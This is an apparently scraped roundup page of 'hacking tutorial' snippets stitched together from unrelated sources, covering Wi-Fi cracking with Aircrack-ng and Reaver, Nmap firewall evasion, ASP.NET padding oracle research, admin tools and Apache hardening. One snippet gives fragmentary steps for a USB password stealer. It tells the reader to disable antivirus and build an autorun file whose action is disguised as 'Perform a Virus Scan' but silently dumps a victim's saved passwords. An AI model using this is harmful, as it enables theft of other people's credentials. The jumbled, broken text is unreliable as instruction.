80+ Best Free Hacking Tutorials | Resources to Become Pro Hacker Learning to become hacker is not as easy as learning to become a software developer. I realized this when I started looking for learning resources for simple hacking people do. Even to start doing the simplest hack on own, a hacker requires to have in depth knowledge of multiple topics. Some people recommend minimum knowledge of few programming languages like C, Python, HTML with Unix operating system concepts and networking knowledge is required to start learning hacking techniques. Though knowing a lot of things is required, it is not really enough for you to be a competent and successful hacker. You must have a passion and positive attitude towards problem solving. If you are thinking about ethical hacking as a career option, you may need to be prepared for a lot of hard/smart work. A lot of people (including me before doing research for this article) think that they can become a hacker using some free hacking tools available on web. Hacking For Dummies - Beginners Tutorials Summary
pmcma Usb password stealer - Steal passwords on a Remote computer As we know that windows stores most of its passwords on daily basis , Such as Msn messenger passwords,Yahoo passwords,Myspace passwords etc.Most of people have lack of time and they had just asked their Browser/windows to save their passwords,As we know that there are many tools to recover Saved passwords,so in this article i will explain you on How to made a USB passwords stealer and steal saved passwords.Things you will need? Password Fox - Password fox is a small program used to view Stored passwords in Mozilla Firefox. Now here is a step by step tutorial to create a USB password stealer to steal saved passwords:Note:Kindly disable your antivirus before performing these steps1.First of all download all 5 tools and copy the executables (.exe( files in your USB i.e. Copy the files mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive. 2. [autorun] open=launch.bat ACTION= Perform a Virus Scan save the Notepad and rename it from 3. start iepv.exe /stext iepv.txt
Ultra High Security Password Generator If some device was not following the WiFi Alliance WPA specification by not hashing the entire printable ASCII character set correctly, it would end up with a different 256-bit hash result than devices that correctly obeyed the specification. It would then be unable to connect to any network that uses the full range of printable ASCII characters. Since we have heard unconfirmed anecdotal reports of such non-compliant WPA devices (and since you might have one), this page also offers "junior" WPA password strings using only the "easy" ASCII characters which even any non-fully-specification-compliant device would have to be able to properly handle. If you find that using the full random ASCII character set within your WPA-PSK protected WiFi network causes one of your devices to be unable to connect to your WPA protected access point, you can downgrade your WPA network to "easy ASCII" by using one of these easy keys. And don't worry for a moment about using an easy ASCII key.
Hack-A-Vision: Cracking WEP/WPA/2 networks with Aircrack-ng [Linux] Now that you have hopefully installed the Aircrack-ng suite and familiarized yourself with some basic Linux commands, we can start cracking WEP and WPA1/2 networks to see the differences in security Wired Equivalent Privacy (WEP) and Wi-fi Protected Access (WPA) provide. Notice: This is purely for educational value, do not attempt this on a network you do not PERSONALLY own. If you do this on a public or private network that you do not have authorization to do so on, it is illegal and you will probably get caught. Now, lets start. Open up a new terminal and lets begin (all typed commands are underlined; read the notes section for optional commands): Make sure you have a "monitoring" interface, this means that your network interface (the thing that interacts with networks) can scan for open/encrypted networks. For further in-depth reading on cracking WEP networks, check out this paper. The aircrack-ng suite includes the below programs, try playing around with them.
Software Protection Initiative - Lightweight Portable Security 15 June 2011: LPS-Remote Access was certified by AFNIC to connect to the GIG for general telecommuting use Lightweight Portable Security (LPS) creates a secure end node from trusted media on almost any Intel-based computer (PC or Mac). LPS boots a thin Linux operating system from a CD or USB flash stick without mounting a local hard drive. Administrator privileges are not required; nothing is installed. The LPS family was created to address particular use cases: LPS-Public is a safer, general-purpose solution for using web-based applications. LPS-Public allows general web browsing and connecting to remote networks. LPS differs from traditional operating systems in that it isn't continually patched. To get started, download an LPS-Public ISO image or LPS-Public Deluxe ISO image and burn it to a CD. Download the LPS-Public ISO image, version 1.5.6 (5 December 2014). Download the LPS-Public Deluxe ISO image, version 1.5.6 (5 December 2014). Read the LPS-Public Datasheet.
Nmap Evade Firewall & Scripting Nmap is the most powerful scanner that is used to perform so many functions including port scanning, service detection, and even vulnerability detection. Nmap from beginner to advanced has covered many basic concepts and commands, and in this second part of this series of articles I will discuss some advanced techniques of Nmap. How to Evade a Firewall/IDS Firewalls and IDS (intrusion detection systems) normally play an important role to defend the remote target very well from a security point of view because these hardwares and softwares are capable of blocking the intrusion, but in the case of penetration testing you need to bypass these tools to get the right result otherwise you will be misled. Nmap can scan the firewall and other intrusion detection systems on the remote target computer, as it uses different types of techniques to fight against these softwares and the techniques are dependent on the remote software. TCP ACK Scan (-sA) Fragment Packets (-f) Spoof MAC Address Http-enum
Password Safe ophcrack | Free Development software downloads research - The ASP.NET Vulnerability - POET attack - BEAST SSL/TLS attack Practical Padding Oracle Attacks This paper discusses how cryptography is misused in the security design of a large part of the Web. Our focus is on ASP.NET, the web application framework developed by Microsoft that powers 25% of all Internet web sites. We show that attackers can abuse multiple cryptographic design flaws to compromise ASP.NET web applications. We describe practical and highly efficient attacks that allow attackers to steal cryptographic secret keys and forge authentication tokens to access sensitive information. 2011 IEEE Symposium on Security and Privacy - Cryptography in the Web: The Case of Cryptographic Design Flaws in ASP.NET ekoparty 2010 slides - The ASP.NET Vulnerability At Eurocrypt 2002, Vaudenay introduced a powerful side-channel attack, which is called padding oracle attack, against CBC-mode encryption. WOOT'10 4th USENIX Workshop on Offensive Technologies Blackhat Europe 2010 slides Flickr's API Signature Forgery Vulnerability
101 Free Admin Tools We know administrators love tools that make life easier – especially when they’re free! So here are 101 of them! System and network analysis 1. Using this MMC snap-in you can quickly visualize the user and group permissions of a local or remote folder or drive in a hierarchical format to help identify problems. 2. Wi-Fi Inspector is a powerful Wi-Fi management and troubleshooting tool that allows you to locate and verify Wi-Fi devices, detect rogue Access Points, troubleshoot connections, and search for Wi-Fi networks. 3. Whois performs a lookup of the registration information of a given IP address or domain name. 4. ShareEnum allows you to scan and view the security settings of file shares on your network. 5. 6. 7. 8. 9. How to Secure Your Apache Web Server How to Secure Your Apache Web Server Installing and maintaining a secure web server on Linux can be a challenge. It requires in-depth knowledge of Linux, Apache, and PHP server-side options. One of the main problems is to find the balance between security and productivity and usability. The best solution depends on the specific project requirements, but all installations share certain common characteristics. The task of securing a web server should begin with hardening the Linux operating system. Linux kernel hardening The kernel is the most frequent target for attackers. Apache Best Security Practices Once you've secured the Linux operating system you can begin to take care of the Apache web server. To harden Apache go through these steps: Install mod_security, an Apache module that works as application firewall. Other recommended Apache options include setting a low Timeoutoption, such as 15 seconds. PHP Security PHP is the most popular server-side language in the open source world.
How To Crack A Wi-Fi Network’s WPA Password With Reaver Your Wi-Fi network is your convenient wireless gateway to the internet, and since you’re not keen on sharing your connection with any old hooligan who happens to be walking past your home, you secure your network with a password, right? Knowing, as you might, how easy it is to crack a WEP password, you probably secure your network using the more bulletproof WPA security protocol. Here’s the bad news: A new, free, open-source tool called Reaver exploits a security hole in wireless routers and can crack most routers’ current passwords with relative ease. Here’s how to crack a WPA or WPA2 password, step by step, with Reaver — and how to protect your network against Reaver attacks. In the first section of this post, I’ll walk through the steps required to crack a WPA password using Reaver. First, a quick note: As we remind often remind readers when we discuss topics that appear potentially malicious: Knowledge is power, but power doesn’t mean you should be a jerk, or do anything illegal.